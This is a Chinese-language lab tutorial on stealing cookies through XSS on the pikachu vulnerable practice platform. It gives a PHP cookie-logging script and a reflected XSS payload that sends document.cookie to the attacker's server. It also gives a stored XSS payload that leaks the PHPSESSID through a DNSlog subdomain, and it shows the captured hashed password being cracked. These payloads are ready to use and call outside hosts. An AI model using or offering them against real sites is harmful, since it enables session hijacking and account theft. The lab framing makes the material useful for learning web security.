0x00 前言
关于XSS的基本知识可以查看
https://blog.csdn.net/weixin_44656518/article/details/142832967?spm=1001.2014.3001.5501
0x01 使用自建服务器外带数据(反射型XSS)
使用实验环境:kali虚拟机,pikachu漏洞实验平台
1.查看kali虚拟机ip地址
我这里是192.168.80.131
不同虚拟机配置ip会有变动
2.在kali虚拟机中启动apache2环境
//启动apache2
service apache2 start
//查看apache2状态
netstat -anpt | grep apache2
3.进入 /var/www/html 目录
cd /var/www/html
4.创建接收cookie用的文件cookie.php并在文件中写入代码
vim cookie.php
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt","a");
fwrite($log,$cookie."\n");
fclose($log);
?>
5.给文件最高权限
chmod 777 /var/www/html/cookie.php
6.打开pikachu漏洞实验平台,选择反射型xss(post)
输入用户名密码登录(默认用户名密码 admin/123456)
7.编写钓鱼的提交代码
将第一步kali的ip地址填入url中
<script>window.open('http://192.168.80.131/cookie.php?cookie='+document.cookie)</script>
8.将钓鱼代码填入并点击提交
此时会弹出一个空白页面
9.回到kali虚拟机中
查看cookie.txt文件
能够看到该用户的用户名,md5加密后的密码,以及PHPSESSID
10.使用cmd5查询后可以看到密码为123456
0x02 利用DNSlog外带数据(存储型XSS)
1.打开DNSlog网站
点击 Get SubDomain 获取域名
2.根据域名编写钓鱼代码
<script>
var arr=document.cookie.split(/[;=]/);
var url = "http://"+arr[3]+".710e3m.dnslog.cn";
document.write('<img src="'+url+'"/>');
</script>
3.将代码复制到pikachu漏洞练习平台的存储型xss的留言框内并提交
4.这里可以看到一个空的图片,说明钓鱼代码已经成功保存到数据库
5.回到DNSlog页面
点击刷新,可以看到下方用户的PHPSESSID数据
可以看到和浏览器内的数据是一致的